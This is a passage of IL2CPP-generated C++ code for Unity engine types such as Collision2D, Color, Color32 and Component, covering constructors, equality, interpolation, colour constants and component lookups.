NULL; { ContactPoint2DU5BU5D_t1215651809* L_0 = __this->get_m_Contacts_4(); V_0 = L_0; goto IL_000d; } IL_000d: { ContactPoint2DU5BU5D_t1215651809* L_1 = V_0; return L_1; } } // UnityEngine.Vector2 UnityEngine.Collision2D::get_relativeVelocity() extern "C" Vector2_t2243707579 Collision2D_get_relativeVelocity_m2410092780 (Collision2D_t1539500754 * __this, const MethodInfo* method) { Vector2_t2243707579 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector2_t2243707579 L_0 = __this->get_m_RelativeVelocity_5(); V_0 = L_0; goto IL_000d; } IL_000d: { Vector2_t2243707579 L_1 = V_0; return L_1; } } // System.Boolean UnityEngine.Collision2D::get_enabled() extern "C" bool Collision2D_get_enabled_m1627968529 (Collision2D_t1539500754 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = __this->get_m_Enabled_6(); V_0 = (bool)((((int32_t)L_0) == ((int32_t)1))? 1 : 0); goto IL_0010; } IL_0010: { bool L_1 = V_0; return L_1; } } // System.Void UnityEngine.Color::.ctor(System.Single,System.Single,System.Single,System.Single) extern "C" void Color__ctor_m1909920690 (Color_t2020392075 * __this, float ___r0, float ___g1, float ___b2, float ___a3, const MethodInfo* method) { { float L_0 = ___r0; __this->set_r_0(L_0); float L_1 = ___g1; __this->set_g_1(L_1); float L_2 = ___b2; __this->set_b_2(L_2); float L_3 = ___a3; __this->set_a_3(L_3); return; } } extern "C" void Color__ctor_m1909920690_AdjustorThunk (Il2CppObject * __this, float ___r0, float ___g1, float ___b2, float ___a3, const MethodInfo* method) { Color_t2020392075 * _thisAdjusted = reinterpret_cast(__this + 1); Color__ctor_m1909920690(_thisAdjusted, ___r0, ___g1, ___b2, ___a3, method); } // System.Void UnityEngine.Color::.ctor(System.Single,System.Single,System.Single) extern "C" void Color__ctor_m3811852957 (Color_t2020392075 * __this, float ___r0, float ___g1, float ___b2, const MethodInfo* method) { { float L_0 = ___r0; __this->set_r_0(L_0); float L_1 = ___g1; __this->set_g_1(L_1); float L_2 = ___b2; __this->set_b_2(L_2); __this->set_a_3((1.0f)); return; } } extern "C" void Color__ctor_m3811852957_AdjustorThunk (Il2CppObject * __this, float ___r0, float ___g1, float ___b2, const MethodInfo* method) { Color_t2020392075 * _thisAdjusted = reinterpret_cast(__this + 1); Color__ctor_m3811852957(_thisAdjusted, ___r0, ___g1, ___b2, method); } // System.String UnityEngine.Color::ToString() extern "C" String_t* Color_ToString_m4028093047 (Color_t2020392075 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Color_ToString_m4028093047_MetadataUsageId); s_Il2CppMethodInitialized = true; } String_t* V_0 = NULL; { ObjectU5BU5D_t3614634134* L_0 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)4)); float L_1 = __this->get_r_0(); float L_2 = L_1; Il2CppObject * L_3 = Box(Single_t2076509932_il2cpp_TypeInfo_var, &L_2); NullCheck(L_0); ArrayElementTypeCheck (L_0, L_3); (L_0)->SetAt(static_cast(0), (Il2CppObject *)L_3); ObjectU5BU5D_t3614634134* L_4 = L_0; float L_5 = __this->get_g_1(); float L_6 = L_5; Il2CppObject * L_7 = Box(Single_t2076509932_il2cpp_TypeInfo_var, &L_6); NullCheck(L_4); ArrayElementTypeCheck (L_4, L_7); (L_4)->SetAt(static_cast(1), (Il2CppObject *)L_7); ObjectU5BU5D_t3614634134* L_8 = L_4; float L_9 = __this->get_b_2(); float L_10 = L_9; Il2CppObject * L_11 = Box(Single_t2076509932_il2cpp_TypeInfo_var, &L_10); NullCheck(L_8); ArrayElementTypeCheck (L_8, L_11); (L_8)->SetAt(static_cast(2), (Il2CppObject *)L_11); ObjectU5BU5D_t3614634134* L_12 = L_8; float L_13 = __this->get_a_3(); float L_14 = L_13; Il2CppObject * L_15 = Box(Single_t2076509932_il2cpp_TypeInfo_var, &L_14); NullCheck(L_12); ArrayElementTypeCheck (L_12, L_15); (L_12)->SetAt(static_cast(3), (Il2CppObject *)L_15); String_t* L_16 = UnityString_Format_m2949645127(NULL /*static, unused*/, _stringLiteral2715435867, L_12, /*hidden argument*/NULL); V_0 = L_16; goto IL_004f; } IL_004f: { String_t* L_17 = V_0; return L_17; } } extern "C" String_t* Color_ToString_m4028093047_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Color_t2020392075 * _thisAdjusted = reinterpret_cast(__this + 1); return Color_ToString_m4028093047(_thisAdjusted, method); } // System.Int32 UnityEngine.Color::GetHashCode() extern "C" int32_t Color_GetHashCode_m3182525367 (Color_t2020392075 * __this, const MethodInfo* method) { Vector4_t2243707581 V_0; memset(&V_0, 0, sizeof(V_0)); int32_t V_1 = 0; { Vector4_t2243707581 L_0 = Color_op_Implicit_m1067945802(NULL /*static, unused*/, (*(Color_t2020392075 *)__this), /*hidden argument*/NULL); V_0 = L_0; int32_t L_1 = Vector4_GetHashCode_m1576457715((&V_0), /*hidden argument*/NULL); V_1 = L_1; goto IL_0020; } IL_0020: { int32_t L_2 = V_1; return L_2; } } extern "C" int32_t Color_GetHashCode_m3182525367_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Color_t2020392075 * _thisAdjusted = reinterpret_cast(__this + 1); return Color_GetHashCode_m3182525367(_thisAdjusted, method); } // System.Boolean UnityEngine.Color::Equals(System.Object) extern "C" bool Color_Equals_m661618137 (Color_t2020392075 * __this, Il2CppObject * ___other0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Color_Equals_m661618137_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; Color_t2020392075 V_1; memset(&V_1, 0, sizeof(V_1)); int32_t G_B7_0 = 0; { Il2CppObject * L_0 = ___other0; if (((Il2CppObject *)IsInstSealed(L_0, Color_t2020392075_il2cpp_TypeInfo_var))) { goto IL_0013; } } { V_0 = (bool)0; goto IL_007a; } IL_0013: { Il2CppObject * L_1 = ___other0; V_1 = ((*(Color_t2020392075 *)((Color_t2020392075 *)UnBox(L_1, Color_t2020392075_il2cpp_TypeInfo_var)))); float* L_2 = __this->get_address_of_r_0(); float L_3 = (&V_1)->get_r_0(); bool L_4 = Single_Equals_m3359827399(L_2, L_3, /*hidden argument*/NULL); if (!L_4) { goto IL_0073; } } { float* L_5 = __this->get_address_of_g_1(); float L_6 = (&V_1)->get_g_1(); bool L_7 = Single_Equals_m3359827399(L_5, L_6, /*hidden argument*/NULL); if (!L_7) { goto IL_0073; } } { float* L_8 = __this->get_address_of_b_2(); float L_9 = (&V_1)->get_b_2(); bool L_10 = Single_Equals_m3359827399(L_8, L_9, /*hidden argument*/NULL); if (!L_10) { goto IL_0073; } } { float* L_11 = __this->get_address_of_a_3(); float L_12 = (&V_1)->get_a_3(); bool L_13 = Single_Equals_m3359827399(L_11, L_12, /*hidden argument*/NULL); G_B7_0 = ((int32_t)(L_13)); goto IL_0074; } IL_0073: { G_B7_0 = 0; } IL_0074: { V_0 = (bool)G_B7_0; goto IL_007a; } IL_007a: { bool L_14 = V_0; return L_14; } } extern "C" bool Color_Equals_m661618137_AdjustorThunk (Il2CppObject * __this, Il2CppObject * ___other0, const MethodInfo* method) { Color_t2020392075 * _thisAdjusted = reinterpret_cast(__this + 1); return Color_Equals_m661618137(_thisAdjusted, ___other0, method); } // UnityEngine.Color UnityEngine.Color::op_Multiply(UnityEngine.Color,System.Single) extern "C" Color_t2020392075 Color_op_Multiply_m325555950 (Il2CppObject * __this /* static, unused */, Color_t2020392075 ___a0, float ___b1, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { float L_0 = (&___a0)->get_r_0(); float L_1 = ___b1; float L_2 = (&___a0)->get_g_1(); float L_3 = ___b1; float L_4 = (&___a0)->get_b_2(); float L_5 = ___b1; float L_6 = (&___a0)->get_a_3(); float L_7 = ___b1; Color_t2020392075 L_8; memset(&L_8, 0, sizeof(L_8)); Color__ctor_m1909920690(&L_8, ((float)((float)L_0*(float)L_1)), ((float)((float)L_2*(float)L_3)), ((float)((float)L_4*(float)L_5)), ((float)((float)L_6*(float)L_7)), /*hidden argument*/NULL); V_0 = L_8; goto IL_0030; } IL_0030: { Color_t2020392075 L_9 = V_0; return L_9; } } // System.Boolean UnityEngine.Color::op_Equality(UnityEngine.Color,UnityEngine.Color) extern "C" bool Color_op_Equality_m3156451394 (Il2CppObject * __this /* static, unused */, Color_t2020392075 ___lhs0, Color_t2020392075 ___rhs1, const MethodInfo* method) { bool V_0 = false; { Color_t2020392075 L_0 = ___lhs0; Vector4_t2243707581 L_1 = Color_op_Implicit_m1067945802(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); Color_t2020392075 L_2 = ___rhs1; Vector4_t2243707581 L_3 = Color_op_Implicit_m1067945802(NULL /*static, unused*/, L_2, /*hidden argument*/NULL); bool L_4 = Vector4_op_Equality_m1825453464(NULL /*static, unused*/, L_1, L_3, /*hidden argument*/NULL); V_0 = L_4; goto IL_0018; } IL_0018: { bool L_5 = V_0; return L_5; } } // UnityEngine.Color UnityEngine.Color::Lerp(UnityEngine.Color,UnityEngine.Color,System.Single) extern "C" Color_t2020392075 Color_Lerp_m3323752807 (Il2CppObject * __this /* static, unused */, Color_t2020392075 ___a0, Color_t2020392075 ___b1, float ___t2, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Color_Lerp_m3323752807_MetadataUsageId); s_Il2CppMethodInitialized = true; } Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { float L_0 = ___t2; IL2CPP_RUNTIME_CLASS_INIT(Mathf_t2336485820_il2cpp_TypeInfo_var); float L_1 = Mathf_Clamp01_m3888954684(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); ___t2 = L_1; float L_2 = (&___a0)->get_r_0(); float L_3 = (&___b1)->get_r_0(); float L_4 = (&___a0)->get_r_0(); float L_5 = ___t2; float L_6 = (&___a0)->get_g_1(); float L_7 = (&___b1)->get_g_1(); float L_8 = (&___a0)->get_g_1(); float L_9 = ___t2; float L_10 = (&___a0)->get_b_2(); float L_11 = (&___b1)->get_b_2(); float L_12 = (&___a0)->get_b_2(); float L_13 = ___t2; float L_14 = (&___a0)->get_a_3(); float L_15 = (&___b1)->get_a_3(); float L_16 = (&___a0)->get_a_3(); float L_17 = ___t2; Color_t2020392075 L_18; memset(&L_18, 0, sizeof(L_18)); Color__ctor_m1909920690(&L_18, ((float)((float)L_2+(float)((float)((float)((float)((float)L_3-(float)L_4))*(float)L_5)))), ((float)((float)L_6+(float)((float)((float)((float)((float)L_7-(float)L_8))*(float)L_9)))), ((float)((float)L_10+(float)((float)((float)((float)((float)L_11-(float)L_12))*(float)L_13)))), ((float)((float)L_14+(float)((float)((float)((float)((float)L_15-(float)L_16))*(float)L_17)))), /*hidden argument*/NULL); V_0 = L_18; goto IL_0078; } IL_0078: { Color_t2020392075 L_19 = V_0; return L_19; } } // UnityEngine.Color UnityEngine.Color::get_red() extern "C" Color_t2020392075 Color_get_red_m2410286591 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { Color_t2020392075 L_0; memset(&L_0, 0, sizeof(L_0)); Color__ctor_m1909920690(&L_0, (1.0f), (0.0f), (0.0f), (1.0f), /*hidden argument*/NULL); V_0 = L_0; goto IL_0020; } IL_0020: { Color_t2020392075 L_1 = V_0; return L_1; } } // UnityEngine.Color UnityEngine.Color::get_green() extern "C" Color_t2020392075 Color_get_green_m2671273823 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { Color_t2020392075 L_0; memset(&L_0, 0, sizeof(L_0)); Color__ctor_m1909920690(&L_0, (0.0f), (1.0f), (0.0f), (1.0f), /*hidden argument*/NULL); V_0 = L_0; goto IL_0020; } IL_0020: { Color_t2020392075 L_1 = V_0; return L_1; } } // UnityEngine.Color UnityEngine.Color::get_white() extern "C" Color_t2020392075 Color_get_white_m3987539815 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { Color_t2020392075 L_0; memset(&L_0, 0, sizeof(L_0)); Color__ctor_m1909920690(&L_0, (1.0f), (1.0f), (1.0f), (1.0f), /*hidden argument*/NULL); V_0 = L_0; goto IL_0020; } IL_0020: { Color_t2020392075 L_1 = V_0; return L_1; } } // UnityEngine.Color UnityEngine.Color::get_black() extern "C" Color_t2020392075 Color_get_black_m2650940523 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { Color_t2020392075 L_0; memset(&L_0, 0, sizeof(L_0)); Color__ctor_m1909920690(&L_0, (0.0f), (0.0f), (0.0f), (1.0f), /*hidden argument*/NULL); V_0 = L_0; goto IL_0020; } IL_0020: { Color_t2020392075 L_1 = V_0; return L_1; } } // UnityEngine.Color UnityEngine.Color::get_yellow() extern "C" Color_t2020392075 Color_get_yellow_m3741935494 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { Color_t2020392075 L_0; memset(&L_0, 0, sizeof(L_0)); Color__ctor_m1909920690(&L_0, (1.0f), (0.921568632f), (0.0156862754f), (1.0f), /*hidden argument*/NULL); V_0 = L_0; goto IL_0020; } IL_0020: { Color_t2020392075 L_1 = V_0; return L_1; } } // UnityEngine.Color UnityEngine.Color::get_clear() extern "C" Color_t2020392075 Color_get_clear_m1469108305 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { Color_t2020392075 L_0; memset(&L_0, 0, sizeof(L_0)); Color__ctor_m1909920690(&L_0, (0.0f), (0.0f), (0.0f), (0.0f), /*hidden argument*/NULL); V_0 = L_0; goto IL_0020; } IL_0020: { Color_t2020392075 L_1 = V_0; return L_1; } } // UnityEngine.Vector4 UnityEngine.Color::op_Implicit(UnityEngine.Color) extern "C" Vector4_t2243707581 Color_op_Implicit_m1067945802 (Il2CppObject * __this /* static, unused */, Color_t2020392075 ___c0, const MethodInfo* method) { Vector4_t2243707581 V_0; memset(&V_0, 0, sizeof(V_0)); { float L_0 = (&___c0)->get_r_0(); float L_1 = (&___c0)->get_g_1(); float L_2 = (&___c0)->get_b_2(); float L_3 = (&___c0)->get_a_3(); Vector4_t2243707581 L_4; memset(&L_4, 0, sizeof(L_4)); Vector4__ctor_m1222289168(&L_4, L_0, L_1, L_2, L_3, /*hidden argument*/NULL); V_0 = L_4; goto IL_0028; } IL_0028: { Vector4_t2243707581 L_5 = V_0; return L_5; } } // System.Void UnityEngine.Color32::.ctor(System.Byte,System.Byte,System.Byte,System.Byte) extern "C" void Color32__ctor_m1932627809 (Color32_t874517518 * __this, uint8_t ___r0, uint8_t ___g1, uint8_t ___b2, uint8_t ___a3, const MethodInfo* method) { { uint8_t L_0 = ___r0; __this->set_r_0(L_0); uint8_t L_1 = ___g1; __this->set_g_1(L_1); uint8_t L_2 = ___b2; __this->set_b_2(L_2); uint8_t L_3 = ___a3; __this->set_a_3(L_3); return; } } extern "C" void Color32__ctor_m1932627809_AdjustorThunk (Il2CppObject * __this, uint8_t ___r0, uint8_t ___g1, uint8_t ___b2, uint8_t ___a3, const MethodInfo* method) { Color32_t874517518 * _thisAdjusted = reinterpret_cast(__this + 1); Color32__ctor_m1932627809(_thisAdjusted, ___r0, ___g1, ___b2, ___a3, method); } // UnityEngine.Color32 UnityEngine.Color32::op_Implicit(UnityEngine.Color) extern "C" Color32_t874517518 Color32_op_Implicit_m624191464 (Il2CppObject * __this /* static, unused */, Color_t2020392075 ___c0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Color32_op_Implicit_m624191464_MetadataUsageId); s_Il2CppMethodInitialized = true; } Color32_t874517518 V_0; memset(&V_0, 0, sizeof(V_0)); { float L_0 = (&___c0)->get_r_0(); IL2CPP_RUNTIME_CLASS_INIT(Mathf_t2336485820_il2cpp_TypeInfo_var); float L_1 = Mathf_Clamp01_m3888954684(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); float L_2 = (&___c0)->get_g_1(); float L_3 = Mathf_Clamp01_m3888954684(NULL /*static, unused*/, L_2, /*hidden argument*/NULL); float L_4 = (&___c0)->get_b_2(); float L_5 = Mathf_Clamp01_m3888954684(NULL /*static, unused*/, L_4, /*hidden argument*/NULL); float L_6 = (&___c0)->get_a_3(); float L_7 = Mathf_Clamp01_m3888954684(NULL /*static, unused*/, L_6, /*hidden argument*/NULL); Color32_t874517518 L_8; memset(&L_8, 0, sizeof(L_8)); Color32__ctor_m1932627809(&L_8, (uint8_t)(((int32_t)((uint8_t)((float)((float)L_1*(float)(255.0f)))))), (uint8_t)(((int32_t)((uint8_t)((float)((float)L_3*(float)(255.0f)))))), (uint8_t)(((int32_t)((uint8_t)((float)((float)L_5*(float)(255.0f)))))), (uint8_t)(((int32_t)((uint8_t)((float)((float)L_7*(float)(255.0f)))))), /*hidden argument*/NULL); V_0 = L_8; goto IL_0058; } IL_0058: { Color32_t874517518 L_9 = V_0; return L_9; } } // UnityEngine.Color UnityEngine.Color32::op_Implicit(UnityEngine.Color32) extern "C" Color_t2020392075 Color32_op_Implicit_m889975790 (Il2CppObject * __this /* static, unused */, Color32_t874517518 ___c0, const MethodInfo* method) { Color_t2020392075 V_0; memset(&V_0, 0, sizeof(V_0)); { uint8_t L_0 = (&___c0)->get_r_0(); uint8_t L_1 = (&___c0)->get_g_1(); uint8_t L_2 = (&___c0)->get_b_2(); uint8_t L_3 = (&___c0)->get_a_3(); Color_t2020392075 L_4; memset(&L_4, 0, sizeof(L_4)); Color__ctor_m1909920690(&L_4, ((float)((float)(((float)((float)L_0)))/(float)(255.0f))), ((float)((float)(((float)((float)L_1)))/(float)(255.0f))), ((float)((float)(((float)((float)L_2)))/(float)(255.0f))), ((float)((float)(((float)((float)L_3)))/(float)(255.0f))), /*hidden argument*/NULL); V_0 = L_4; goto IL_0044; } IL_0044: { Color_t2020392075 L_5 = V_0; return L_5; } } // System.String UnityEngine.Color32::ToString() extern "C" String_t* Color32_ToString_m1408142756 (Color32_t874517518 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Color32_ToString_m1408142756_MetadataUsageId); s_Il2CppMethodInitialized = true; } String_t* V_0 = NULL; { ObjectU5BU5D_t3614634134* L_0 = ((ObjectU5BU5D_t3614634134*)SZArrayNew(ObjectU5BU5D_t3614634134_il2cpp_TypeInfo_var, (uint32_t)4)); uint8_t L_1 = __this->get_r_0(); uint8_t L_2 = L_1; Il2CppObject * L_3 = Box(Byte_t3683104436_il2cpp_TypeInfo_var, &L_2); NullCheck(L_0); ArrayElementTypeCheck (L_0, L_3); (L_0)->SetAt(static_cast(0), (Il2CppObject *)L_3); ObjectU5BU5D_t3614634134* L_4 = L_0; uint8_t L_5 = __this->get_g_1(); uint8_t L_6 = L_5; Il2CppObject * L_7 = Box(Byte_t3683104436_il2cpp_TypeInfo_var, &L_6); NullCheck(L_4); ArrayElementTypeCheck (L_4, L_7); (L_4)->SetAt(static_cast(1), (Il2CppObject *)L_7); ObjectU5BU5D_t3614634134* L_8 = L_4; uint8_t L_9 = __this->get_b_2(); uint8_t L_10 = L_9; Il2CppObject * L_11 = Box(Byte_t3683104436_il2cpp_TypeInfo_var, &L_10); NullCheck(L_8); ArrayElementTypeCheck (L_8, L_11); (L_8)->SetAt(static_cast(2), (Il2CppObject *)L_11); ObjectU5BU5D_t3614634134* L_12 = L_8; uint8_t L_13 = __this->get_a_3(); uint8_t L_14 = L_13; Il2CppObject * L_15 = Box(Byte_t3683104436_il2cpp_TypeInfo_var, &L_14); NullCheck(L_12); ArrayElementTypeCheck (L_12, L_15); (L_12)->SetAt(static_cast(3), (Il2CppObject *)L_15); String_t* L_16 = UnityString_Format_m2949645127(NULL /*static, unused*/, _stringLiteral1199940147, L_12, /*hidden argument*/NULL); V_0 = L_16; goto IL_004f; } IL_004f: { String_t* L_17 = V_0; return L_17; } } extern "C" String_t* Color32_ToString_m1408142756_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Color32_t874517518 * _thisAdjusted = reinterpret_cast(__this + 1); return Color32_ToString_m1408142756(_thisAdjusted, method); } // System.Void UnityEngine.Component::.ctor() extern "C" void Component__ctor_m205306948 (Component_t3819376471 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Component__ctor_m205306948_MetadataUsageId); s_Il2CppMethodInitialized = true; } { IL2CPP_RUNTIME_CLASS_INIT(Object_t1021602117_il2cpp_TypeInfo_var); Object__ctor_m197157284(__this, /*hidden argument*/NULL); return; } } // UnityEngine.Transform UnityEngine.Component::get_transform() extern "C" Transform_t3275118058 * Component_get_transform_m2697483695 (Component_t3819376471 * __this, const MethodInfo* method) { typedef Transform_t3275118058 * (*Component_get_transform_m2697483695_ftn) (Component_t3819376471 *); static Component_get_transform_m2697483695_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_get_transform_m2697483695_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Component::get_transform()"); return _il2cpp_icall_func(__this); } // UnityEngine.GameObject UnityEngine.Component::get_gameObject() extern "C" GameObject_t1756533147 * Component_get_gameObject_m3105766835 (Component_t3819376471 * __this, const MethodInfo* method) { typedef GameObject_t1756533147 * (*Component_get_gameObject_m3105766835_ftn) (Component_t3819376471 *); static Component_get_gameObject_m3105766835_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_get_gameObject_m3105766835_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Component::get_gameObject()"); return _il2cpp_icall_func(__this); } // UnityEngine.Component UnityEngine.Component::GetComponent(System.Type) extern "C" Component_t3819376471 * Component_GetComponent_m4225719715 (Component_t3819376471 * __this, Type_t * ___type0, const MethodInfo* method) { Component_t3819376471 * V_0 = NULL; { GameObject_t1756533147 * L_0 = Component_get_gameObject_m3105766835(__this, /*hidden argument*/NULL); Type_t * L_1 = ___type0; NullCheck(L_0); Component_t3819376471 * L_2 = GameObject_GetComponent_m306258075(L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0013; } IL_0013: { Component_t3819376471 * L_3 = V_0; return L_3; } } // System.Void UnityEngine.Component::GetComponentFastPath(System.Type,System.IntPtr) extern "C" void Component_GetComponentFastPath_m2700814707 (Component_t3819376471 * __this, Type_t * ___type0, IntPtr_t ___oneFurtherThanResultValue1, const MethodInfo* method) { typedef void (*Component_GetComponentFastPath_m2700814707_ftn) (Component_t3819376471 *, Type_t *, IntPtr_t); static Component_GetComponentFastPath_m2700814707_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_GetComponentFastPath_m2700814707_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Component::GetComponentFastPath(System.Type,System.IntPtr)"); _il2cpp_icall_func(__this, ___type0, ___oneFurtherThanResultValue1); } // UnityEngine.Component UnityEngine.Component::GetComponent(System.String) extern "C" Component_t3819376471 * Component_GetComponent_m2473832642 (Component_t3819376471 * __this, String_t* ___type0, const MethodInfo* method) { typedef Component_t3819376471 * (*Component_GetComponent_m2473832642_ftn) (Component_t3819376471 *, String_t*); static Component_GetComponent_m2473832642_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_GetComponent_m2473832642_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Component::GetComponent(System.String)"); return _il2cpp_icall_func(__this, ___type0); } // UnityEngine.Component UnityEngine.Component::GetComponentInChildren(System.Type,System.Boolean) extern "C" Component_t3819376471 * Component_GetComponentInChildren_m3925629424 (Component_t3819376471 * __this, Type_t * ___t0, bool ___includeInactive1, const MethodInfo* method) { Component_t3819376471 * V_0 = NULL; { GameObject_t1756533147 * L_0 = Component_get_gameObject_m3105766835(__this, /*hidden argument*/NULL); Type_t * L_1 = ___t0; bool L_2 = ___includeInactive1; NullCheck(L_0); Component_t3819376471 * L_3 = GameObject_GetComponentInChildren_m4263325740(L_0, L_1, L_2, /*hidden argument*/NULL); V_0 = L_3; goto IL_0014; } IL_0014: { Component_t3819376471 * L_4 = V_0; return L_4; } } // UnityEngine.Component UnityEngine.Component::GetComponentInChildren(System.Type) extern "C" Component_t3819376471 * Component_GetComponentInChildren_m3985003615 (Component_t3819376471 * __this, Type_t * ___t0, const MethodInfo* method) { Component_t3819376471 * V_0 = NULL; { Type_t * L_0 = ___t0; Component_t3819376471 * L_1 = Component_GetComponentInChildren_m3925629424(__this, L_0, (bool)0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000f; } IL_000f: { Component_t3819376471 * L_2 = V_0; return L_2; } } // UnityEngine.Component[] UnityEngine.Component::GetComponentsInChildren(System.Type) extern "C" ComponentU5BU5D_t4136971630* Component_GetComponentsInChildren_m843288020 (Component_t3819376471 * __this, Type_t * ___t0, const MethodInfo* method) { bool V_0 = false; ComponentU5BU5D_t4136971630* V_1 = NULL; { V_0 = (bool)0; Type_t * L_0 = ___t0; bool L_1 = V_0; ComponentU5BU5D_t4136971630* L_2 = Component_GetComponentsInChildren_m908027537(__this, L_0, L_1, /*hidden argument*/NULL); V_1 = L_2; goto IL_0011; } IL_0011: { ComponentU5BU5D_t4136971630* L_3 = V_1; return L_3; } } // UnityEngine.Component[] UnityEngine.Component::GetComponentsInChildren(System.Type,System.Boolean) extern "C" ComponentU5BU5D_t4136971630* Component_GetComponentsInChildren_m908027537 (Component_t3819376471 * __this, Type_t * ___t0, bool ___includeInactive1, const MethodInfo* method) { ComponentU5BU5D_t4136971630* V_0 = NULL; { GameObject_t1756533147 * L_0 = Component_get_gameObject_m3105766835(__this, /*hidden argument*/NULL); Type_t * L_1 = ___t0; bool L_2 = ___includeInactive1; NullCheck(L_0); ComponentU5BU5D_t4136971630* L_3 = GameObject_GetComponentsInChildren_m993725821(L_0, L_1, L_2, /*hidden argument*/NULL); V_0 = L_3; goto IL_0014; } IL_0014: { ComponentU5BU5D_t4136971630* L_4 = V_0; return L_4; } } // UnityEngine.Component UnityEngine.Component::GetComponentInParent(System.Type) extern "C" Component_t3819376471 * Component_GetComponentInParent_m2799402500 (Component_t3819376471 * __this, Type_t * ___t0, const MethodInfo* method) { Component_t3819376471 * V_0 = NULL; { GameObject_t1756533147 * L_0 = Component_get_gameObject_m3105766835(__this, /*hidden argument*/NULL); Type_t * L_1 = ___t0; NullCheck(L_0); Component_t3819376471 * L_2 = GameObject_GetComponentInParent_m1235194528(L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0013; } IL_0013: { Component_t3819376471 * L_3 = V_0; return L_3; } } // UnityEngine.Component[] UnityEngine.Component::GetComponentsInParent(System.Type) extern "C" ComponentU5BU5D_t4136971630* Component_GetComponentsInParent_m4192184629 (Component_t3819376471 * __this, Type_t * ___t0, const MethodInfo* method) { bool V_0 = false; ComponentU5BU5D_t4136971630* V_1 = NULL; { V_0 = (bool)0; Type_t * L_0 = ___t0; bool L_1 = V_0; ComponentU5BU5D_t4136971630* L_2 = Component_GetComponentsInParent_m1920178904(__this, L_0, L_1, /*hidden argument*/NULL); V_1 = L_2; goto IL_0011; } IL_0011: { ComponentU5BU5D_t4136971630* L_3 = V_1; return L_3; } } // UnityEngine.Component[] UnityEngine.Component::GetComponentsInParent(System.Type,System.Boolean) extern "C" ComponentU5BU5D_t4136971630* Component_GetComponentsInParent_m1920178904 (Component_t3819376471 * __this, Type_t * ___t0, bool ___includeInactive1, const MethodInfo* method) { ComponentU5BU5D_t4136971630* V_0 = NULL; { GameObject_t1756533147 * L_0 = Component_get_gameObject_m3105766835(__this, /*hidden argument*/NULL); Type_t * L_1 = ___t0; bool L_2 = ___includeInactive1; NullCheck(L_0); ComponentU5BU5D_t4136971630* L_3 = GameObject_GetComponentsInParent_m1568786844(L_0, L_1, L_2, /*hidden argument*/NULL); V_0 = L_3; goto IL_0014; } IL_0014: { ComponentU5BU5D_t4136971630* L_4 = V_0; return L_4; } } // UnityEngine.Component[] UnityEngine.Component::GetComponents(System.Type) extern "C" ComponentU5BU5D_t4136971630* Component_GetComponents_m637589504 (Component_t3819376471 * __this, Type_t * ___type0, const MethodInfo* method) { ComponentU5BU5D_t4136971630* V_0 = NULL; { GameObject_t1756533147 * L_0 = Component_get_gameObject_m3105766835(__this, /*hidden argument*/NULL); Type_t * L_1 = ___type0; NullCheck(L_0); ComponentU5BU5D_t4136971630* L_2 = GameObject_GetComponents_m297658252(L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0013; } IL_0013: { ComponentU5BU5D_t4136971630* L_3 = V_0; return L_3; } } // System.Void UnityEngine.Component::GetComponentsForListInternal(System.Type,System.Object) extern "C" void Component_GetComponentsForListInternal_m4241828391 (Component_t3819376471 * __this, Type_t * ___searchType0, Il2CppObject * ___resultList1, const MethodInfo* method) { typedef void (*Component_GetComponentsForListInternal_m4241828391_ftn) (Component_t3819376471 *, Type_t *, Il2CppObject *); static Component_GetComponentsForListInternal_m4241828391_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Component_GetComponentsForListInternal_m4241828391_ftn)il2cpp_codegen_resolve_icall 